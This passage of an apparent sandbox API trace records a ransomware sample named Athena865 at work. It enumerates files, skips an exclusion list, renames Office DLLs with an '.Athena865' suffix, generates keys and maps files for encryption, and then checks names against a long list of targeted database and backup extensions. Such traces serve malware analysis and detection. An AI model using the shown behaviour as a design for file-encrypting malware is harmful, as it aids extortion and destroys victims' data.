lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SCNPST32.DLL", cAlternateFileName="")) returned 1 [0084.805] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.805] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.806] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2=".") returned 1 [0084.806] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2="..") returned 1 [0084.806] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2="windows") returned -1 [0084.806] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2="bootmgr") returned 1 [0084.806] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2="temp") returned -1 [0084.806] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2="pagefile.sys") returned 1 [0084.806] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2="boot") returned 1 [0084.806] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2="ids.txt") returned 1 [0084.806] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2="ntuser.dat") returned 1 [0084.806] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2="perflogs") returned 1 [0084.806] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2="MSBuild") returned 1 [0084.806] lstrlenW (lpString="SCNPST32.DLL") returned 12 [0084.806] lstrcpyW (in: lpString1=0x241e89e, lpString2="SCNPST32.DLL" | out: lpString1="SCNPST32.DLL") returned="SCNPST32.DLL" [0084.806] lstrlenW (lpString="SCNPST32.DLL") returned 12 [0084.806] lstrlenW (lpString="Athena865") returned 9 [0084.806] lstrcmpiW (lpString1="PST32.DLL", lpString2="Athena865") returned 1 [0084.806] lstrlenW (lpString=".dll") returned 4 [0084.806] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2=".dll") returned 1 [0084.806] lstrlenW (lpString=".lnk") returned 4 [0084.806] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2=".lnk") returned 1 [0084.806] lstrlenW (lpString=".ini") returned 4 [0084.806] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2=".ini") returned 1 [0084.806] lstrlenW (lpString=".sys") returned 4 [0084.806] lstrcmpiW (lpString1="SCNPST32.DLL", lpString2=".sys") returned 1 [0084.806] lstrlenW (lpString="SCNPST32.DLL") returned 12 [0084.806] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SCNPST32.DLL.Athena865") returned 65 [0084.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCNPST32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\scnpst32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCNPST32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\scnpst32.dll.athena865"), dwFlags=0x1) returned 1 [0084.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCNPST32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\scnpst32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.809] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=442280) returned 1 [0084.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.809] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.810] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.810] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.810] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c2b0, lpName=0x0) returned 0x17c [0084.811] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c2b0) returned 0x2d50000 [0084.829] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.830] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.830] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.831] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0084.835] CloseHandle (hObject=0x17c) returned 1 [0084.835] CloseHandle (hObject=0x154) returned 1 [0084.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.837] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x6bfb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SCNPST64.DLL", cAlternateFileName="")) returned 1 [0084.837] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.837] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.837] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2=".") returned 1 [0084.837] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2="..") returned 1 [0084.837] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2="windows") returned -1 [0084.837] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2="bootmgr") returned 1 [0084.837] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2="temp") returned -1 [0084.837] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2="pagefile.sys") returned 1 [0084.837] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2="boot") returned 1 [0084.837] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2="ids.txt") returned 1 [0084.837] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2="ntuser.dat") returned 1 [0084.837] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2="perflogs") returned 1 [0084.837] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2="MSBuild") returned 1 [0084.837] lstrlenW (lpString="SCNPST64.DLL") returned 12 [0084.837] lstrcpyW (in: lpString1=0x241e89e, lpString2="SCNPST64.DLL" | out: lpString1="SCNPST64.DLL") returned="SCNPST64.DLL" [0084.837] lstrlenW (lpString="SCNPST64.DLL") returned 12 [0084.837] lstrlenW (lpString="Athena865") returned 9 [0084.837] lstrcmpiW (lpString1="PST64.DLL", lpString2="Athena865") returned 1 [0084.837] lstrlenW (lpString=".dll") returned 4 [0084.838] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2=".dll") returned 1 [0084.838] lstrlenW (lpString=".lnk") returned 4 [0084.838] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2=".lnk") returned 1 [0084.838] lstrlenW (lpString=".ini") returned 4 [0084.838] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2=".ini") returned 1 [0084.838] lstrlenW (lpString=".sys") returned 4 [0084.838] lstrcmpiW (lpString1="SCNPST64.DLL", lpString2=".sys") returned 1 [0084.838] lstrlenW (lpString="SCNPST64.DLL") returned 12 [0084.838] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SCNPST64.DLL.Athena865") returned 65 [0084.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCNPST64.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\scnpst64.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCNPST64.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\scnpst64.dll.athena865"), dwFlags=0x1) returned 1 [0084.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCNPST64.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\scnpst64.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.839] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=442288) returned 1 [0084.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.840] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.840] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.840] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.841] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c2b0, lpName=0x0) returned 0x17c [0084.842] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c2b0) returned 0x2d50000 [0084.858] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.859] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.859] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.860] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0084.864] CloseHandle (hObject=0x17c) returned 1 [0084.864] CloseHandle (hObject=0x154) returned 1 [0084.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.866] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1e8f00, ftCreationTime.dwHighDateTime=0x1c74a41, ftLastAccessTime.dwLowDateTime=0x6d273e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf1e8f00, ftLastWriteTime.dwHighDateTime=0x1c74a41, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SegoeChess.ttf", cAlternateFileName="SEGOEC~1.TTF")) returned 1 [0084.866] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.866] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.866] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2=".") returned 1 [0084.866] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2="..") returned 1 [0084.866] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2="windows") returned -1 [0084.866] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2="bootmgr") returned 1 [0084.866] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2="temp") returned -1 [0084.866] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2="pagefile.sys") returned 1 [0084.866] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2="boot") returned 1 [0084.866] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2="ids.txt") returned 1 [0084.866] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2="ntuser.dat") returned 1 [0084.866] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2="perflogs") returned 1 [0084.866] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2="MSBuild") returned 1 [0084.866] lstrlenW (lpString="SegoeChess.ttf") returned 14 [0084.866] lstrcpyW (in: lpString1=0x241e89e, lpString2="SegoeChess.ttf" | out: lpString1="SegoeChess.ttf") returned="SegoeChess.ttf" [0084.866] lstrlenW (lpString="SegoeChess.ttf") returned 14 [0084.866] lstrlenW (lpString="Athena865") returned 9 [0084.866] lstrcmpiW (lpString1="Chess.ttf", lpString2="Athena865") returned 1 [0084.866] lstrlenW (lpString=".dll") returned 4 [0084.866] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2=".dll") returned 1 [0084.866] lstrlenW (lpString=".lnk") returned 4 [0084.866] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2=".lnk") returned 1 [0084.866] lstrlenW (lpString=".ini") returned 4 [0084.867] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2=".ini") returned 1 [0084.867] lstrlenW (lpString=".sys") returned 4 [0084.867] lstrcmpiW (lpString1="SegoeChess.ttf", lpString2=".sys") returned 1 [0084.867] lstrlenW (lpString="SegoeChess.ttf") returned 14 [0084.867] lstrlenW (lpString="bak") returned 3 [0084.867] lstrcmpiW (lpString1="ttf", lpString2="bak") returned 1 [0084.867] lstrlenW (lpString="ba_") returned 3 [0084.867] lstrcmpiW (lpString1="ttf", lpString2="ba_") returned 1 [0084.867] lstrlenW (lpString="dbb") returned 3 [0084.867] lstrcmpiW (lpString1="ttf", lpString2="dbb") returned 1 [0084.867] lstrlenW (lpString="vmdk") returned 4 [0084.867] lstrcmpiW (lpString1=".ttf", lpString2="vmdk") returned -1 [0084.867] lstrlenW (lpString="rar") returned 3 [0084.867] lstrcmpiW (lpString1="ttf", lpString2="rar") returned 1 [0084.867] lstrlenW (lpString="zip") returned 3 [0084.867] lstrcmpiW (lpString1="ttf", lpString2="zip") returned -1 [0084.867] lstrlenW (lpString="tgz") returned 3 [0084.867] lstrcmpiW (lpString1="ttf", lpString2="tgz") returned 1 [0084.867] lstrlenW (lpString="vbox") returned 4 [0084.867] lstrcmpiW (lpString1=".ttf", lpString2="vbox") returned -1 [0084.867] lstrlenW (lpString="vdi") returned 3 [0084.867] lstrcmpiW (lpString1="ttf", lpString2="vdi") returned -1 [0084.867] lstrlenW (lpString="vhd") returned 3 [0084.867] lstrcmpiW (lpString1="ttf", lpString2="vhd") returned -1 [0084.867] lstrlenW (lpString="vhdx") returned 4 [0084.867] lstrcmpiW (lpString1=".ttf", lpString2="vhdx") returned -1 [0084.867] lstrlenW (lpString="avhd") returned 4 [0084.867] lstrcmpiW (lpString1=".ttf", lpString2="avhd") returned -1 [0084.867] lstrlenW (lpString="db") returned 2 [0084.867] lstrcmpiW (lpString1="tf", lpString2="db") returned 1 [0084.868] lstrlenW (lpString="db2") returned 3 [0084.868] lstrcmpiW (lpString1="ttf", lpString2="db2") returned 1 [0084.868] lstrlenW (lpString="db3") returned 3 [0084.868] lstrcmpiW (lpString1="ttf", lpString2="db3") returned 1 [0084.868] lstrlenW (lpString="dbf") returned 3 [0084.868] lstrcmpiW (lpString1="ttf", lpString2="dbf") returned 1 [0084.868] lstrlenW (lpString="mdf") returned 3 [0084.868] lstrcmpiW (lpString1="ttf", lpString2="mdf") returned 1 [0084.868] lstrlenW (lpString="mdb") returned 3 [0084.868] lstrcmpiW (lpString1="ttf", lpString2="mdb") returned 1 [0084.868] lstrlenW (lpString="sql") returned 3 [0084.868] lstrcmpiW (lpString1="ttf", lpString2="sql") returned 1 [0084.868] lstrlenW (lpString="sqlite") returned 6 [0084.868] lstrcmpiW (lpString1="ss.ttf", lpString2="sqlite") returned 1 [0084.868] lstrlenW (lpString="sqlite3") returned 7 [0084.868] lstrcmpiW (lpString1="ess.ttf", lpString2="sqlite3") returned -1 [0084.868] lstrlenW (lpString="sqlitedb") returned 8 [0084.868] lstrcmpiW (lpString1="hess.ttf", lpString2="sqlitedb") returned -1 [0084.868] lstrlenW (lpString="xml") returned 3 [0084.868] lstrcmpiW (lpString1="ttf", lpString2="xml") returned -1 [0084.868] lstrlenW (lpString="$er") returned 3 [0084.868] lstrcmpiW (lpString1="ttf", lpString2="$er") returned 1 [0084.868] lstrlenW (lpString="4dd") returned 3 [0084.868] lstrcmpiW (lpString1="ttf", lpString2="4dd") returned 1 [0084.868] lstrlenW (lpString="4dl") returned 3 [0084.868] lstrcmpiW (lpString1="ttf", lpString2="4dl") returned 1 [0084.868] lstrlenW (lpString="^^^") returned 3 [0084.868] lstrcmpiW (lpString1="ttf", lpString2="^^^") returned 1 [0084.868] lstrlenW (lpString="abs") returned 3 [0084.868] lstrcmpiW (lpString1="ttf", lpString2="abs") returned 1 [0084.868] lstrlenW (lpString="abx") returned 3 [0084.869] lstrcmpiW (lpString1="ttf", lpString2="abx") returned 1 [0084.869] lstrlenW (lpString="accdb") returned 5 [0084.869] lstrcmpiW (lpString1="s.ttf", lpString2="accdb") returned 1 [0084.869] lstrlenW (lpString="accdc") returned 5 [0084.869] lstrcmpiW (lpString1="s.ttf", lpString2="accdc") returned 1 [0084.869] lstrlenW (lpString="accde") returned 5 [0084.869] lstrcmpiW (lpString1="s.ttf", lpString2="accde") returned 1 [0084.869] lstrlenW (lpString="accdr") returned 5 [0084.869] lstrcmpiW (lpString1="s.ttf", lpString2="accdr") returned 1 [0084.869] lstrlenW (lpString="accdt") returned 5 [0084.869] lstrcmpiW (lpString1="s.ttf", lpString2="accdt") returned 1 [0084.869] lstrlenW (lpString="accdw") returned 5 [0084.869] lstrcmpiW (lpString1="s.ttf", lpString2="accdw") returned 1 [0084.869] lstrlenW (lpString="accft") returned 5 [0084.869] lstrcmpiW (lpString1="s.ttf", lpString2="accft") returned 1 [0084.869] lstrlenW (lpString="adb") returned 3 [0084.869] lstrcmpiW (lpString1="ttf", lpString2="adb") returned 1 [0084.869] lstrlenW (lpString="adb") returned 3 [0084.869] lstrcmpiW (lpString1="ttf", lpString2="adb") returned 1 [0084.869] lstrlenW (lpString="ade") returned 3 [0084.869] lstrcmpiW (lpString1="ttf", lpString2="ade") returned 1 [0084.869] lstrlenW (lpString="adf") returned 3 [0084.869] lstrcmpiW (lpString1="ttf", lpString2="adf") returned 1 [0084.869] lstrlenW (lpString="adn") returned 3 [0084.869] lstrcmpiW (lpString1="ttf", lpString2="adn") returned 1 [0084.869] lstrlenW (lpString="adp") returned 3 [0084.869] lstrcmpiW (lpString1="ttf", lpString2="adp") returned 1 [0084.869] lstrlenW (lpString="alf") returned 3 [0084.869] lstrcmpiW (lpString1="ttf", lpString2="alf") returned 1 [0084.869] lstrlenW (lpString="ask") returned 3 [0084.869] lstrcmpiW (lpString1="ttf", lpString2="ask") returned 1 [0084.869] lstrlenW (lpString="btr") returned 3 [0084.870] lstrcmpiW (lpString1="ttf", lpString2="btr") returned 1 [0084.870] lstrlenW (lpString="cat") returned 3 [0084.870] lstrcmpiW (lpString1="ttf", lpString2="cat") returned 1 [0084.870] lstrlenW (lpString="cdb") returned 3 [0084.870] lstrcmpiW (lpString1="ttf", lpString2="cdb") returned 1 [0084.870] lstrlenW (lpString="ckp") returned 3 [0084.870] lstrcmpiW (lpString1="ttf", lpString2="ckp") returned 1 [0084.870] lstrlenW (lpString="cma") returned 3 [0084.870] lstrcmpiW (lpString1="ttf", lpString2="cma") returned 1 [0084.870] lstrlenW (lpString="cpd") returned 3 [0084.870] lstrcmpiW (lpString1="ttf", lpString2="cpd") returned 1 [0084.870] lstrlenW (lpString="dacpac") returned 6 [0084.870] lstrcmpiW (lpString1="ss.ttf", lpString2="dacpac") returned 1 [0084.870] lstrlenW (lpString="dad") returned 3 [0084.870] lstrcmpiW (lpString1="ttf", lpString2="dad") returned 1 [0084.870] lstrlenW (lpString="dadiagrams") returned 10 [0084.870] lstrcmpiW (lpString1="eChess.ttf", lpString2="dadiagrams") returned 1 [0084.870] lstrlenW (lpString="daschema") returned 8 [0084.870] lstrcmpiW (lpString1="hess.ttf", lpString2="daschema") returned 1 [0084.870] lstrlenW (lpString="db-journal") returned 10 [0084.870] lstrcmpiW (lpString1="eChess.ttf", lpString2="db-journal") returned 1 [0084.870] lstrlenW (lpString="db-shm") returned 6 [0084.870] lstrcmpiW (lpString1="ss.ttf", lpString2="db-shm") returned 1 [0084.870] lstrlenW (lpString="db-wal") returned 6 [0084.870] lstrcmpiW (lpString1="ss.ttf", lpString2="db-wal") returned 1 [0084.870] lstrlenW (lpString="dbc") returned 3 [0084.870] lstrcmpiW (lpString1="ttf", lpString2="dbc") returned 1 [0084.870] lstrlenW (lpString="dbs") returned 3 [0084.870] lstrcmpiW (lpString1="ttf", lpString2="dbs") returned 1 [0084.870] lstrlenW (lpString="dbt") returned 3 [0084.870] lstrcmpiW (lpString1="ttf", lpString2="dbt") returned 1 [0084.871] lstrlenW (lpString="dbv") returned 3 [0084.871] lstrcmpiW (lpString1="ttf", lpString2="dbv") returned 1 [0084.871] lstrlenW (lpString="dbx") returned 3 [0084.871] lstrcmpiW (lpString1="ttf", lpString2="dbx") returned 1 [0084.871] lstrlenW (lpString="dcb") returned 3 [0084.871] lstrcmpiW (lpString1="ttf", lpString2="dcb") returned 1 [0084.871] lstrlenW (lpString="dct") returned 3 [0084.871] lstrcmpiW (lpString1="ttf", lpString2="dct") returned 1 [0084.871] lstrlenW (lpString="dcx") returned 3 [0084.871] lstrcmpiW (lpString1="ttf", lpString2="dcx") returned 1 [0084.871] lstrlenW (lpString="ddl") returned 3 [0084.871] lstrcmpiW (lpString1="ttf", lpString2="ddl") returned 1 [0084.871] lstrlenW (lpString="dlis") returned 4 [0084.871] lstrcmpiW (lpString1=".ttf", lpString2="dlis") returned -1 [0084.871] lstrlenW (lpString="dp1") returned 3 [0084.871] lstrcmpiW (lpString1="ttf", lpString2="dp1") returned 1 [0084.871] lstrlenW (lpString="dqy") returned 3 [0084.871] lstrcmpiW (lpString1="ttf", lpString2="dqy") returned 1 [0084.871] lstrlenW (lpString="dsk") returned 3 [0084.871] lstrcmpiW (lpString1="ttf", lpString2="dsk") returned 1 [0084.871] lstrlenW (lpString="dsn") returned 3 [0084.871] lstrcmpiW (lpString1="ttf", lpString2="dsn") returned 1 [0084.871] lstrlenW (lpString="dtsx") returned 4 [0084.871] lstrcmpiW (lpString1=".ttf", lpString2="dtsx") returned -1 [0084.871] lstrlenW (lpString="dxl") returned 3 [0084.871] lstrcmpiW (lpString1="ttf", lpString2="dxl") returned 1 [0084.871] lstrlenW (lpString="eco") returned 3 [0084.871] lstrcmpiW (lpString1="ttf", lpString2="eco") returned 1 [0084.871] lstrlenW (lpString="ecx") returned 3 [0084.871] lstrcmpiW (lpString1="ttf", lpString2="ecx") returned 1 [0084.871] lstrlenW (lpString="edb") returned 3 [0084.872] lstrcmpiW (lpString1="ttf", lpString2="edb") returned 1 [0084.872] lstrlenW (lpString="epim") returned 4 [0084.872] lstrcmpiW (lpString1=".ttf", lpString2="epim") returned -1 [0084.872] lstrlenW (lpString="fcd") returned 3 [0084.872] lstrcmpiW (lpString1="ttf", lpString2="fcd") returned 1 [0084.872] lstrlenW (lpString="fdb") returned 3 [0084.872] lstrcmpiW (lpString1="ttf", lpString2="fdb") returned 1 [0084.872] lstrlenW (lpString="fic") returned 3 [0084.872] lstrcmpiW (lpString1="ttf", lpString2="fic") returned 1 [0084.872] lstrlenW (lpString="flexolibrary") returned 12 [0084.872] lstrcmpiW (lpString1="goeChess.ttf", lpString2="flexolibrary") returned 1 [0084.872] lstrlenW (lpString="fm5") returned 3 [0084.872] lstrcmpiW (lpString1="ttf", lpString2="fm5") returned 1 [0084.872] lstrlenW (lpString="fmp") returned 3 [0084.872] lstrcmpiW (lpString1="ttf", lpString2="fmp") returned 1 [0084.872] lstrlenW (lpString="fmp12") returned 5 [0084.872] lstrcmpiW (lpString1="s.ttf", lpString2="fmp12") returned 1 [0084.872] lstrlenW (lpString="fmpsl") returned 5 [0084.872] lstrcmpiW (lpString1="s.ttf", lpString2="fmpsl") returned 1 [0084.872] lstrlenW (lpString="fol") returned 3 [0084.872] lstrcmpiW (lpString1="ttf", lpString2="fol") returned 1 [0084.872] lstrlenW (lpString="fp3") returned 3 [0084.872] lstrcmpiW (lpString1="ttf", lpString2="fp3") returned 1 [0084.872] lstrlenW (lpString="fp4") returned 3 [0084.872] lstrcmpiW (lpString1="ttf", lpString2="fp4") returned 1 [0084.872] lstrlenW (lpString="fp5") returned 3 [0084.872] lstrcmpiW (lpString1="ttf", lpString2="fp5") returned 1 [0084.872] lstrlenW (lpString="fp7") returned 3 [0084.872] lstrcmpiW (lpString1="ttf", lpString2="fp7") returned 1 [0084.872] lstrlenW (lpString="fpt") returned 3 [0084.872] lstrcmpiW (lpString1="ttf", lpString2="fpt") returned 1 [0084.872] lstrlenW (lpString="frm") returned 3 [0084.873] lstrcmpiW (lpString1="ttf", lpString2="frm") returned 1 [0084.873] lstrlenW (lpString="gdb") returned 3 [0084.873] lstrcmpiW (lpString1="ttf", lpString2="gdb") returned 1 [0084.873] lstrlenW (lpString="gdb") returned 3 [0084.873] lstrcmpiW (lpString1="ttf", lpString2="gdb") returned 1 [0084.873] lstrlenW (lpString="grdb") returned 4 [0084.873] lstrcmpiW (lpString1=".ttf", 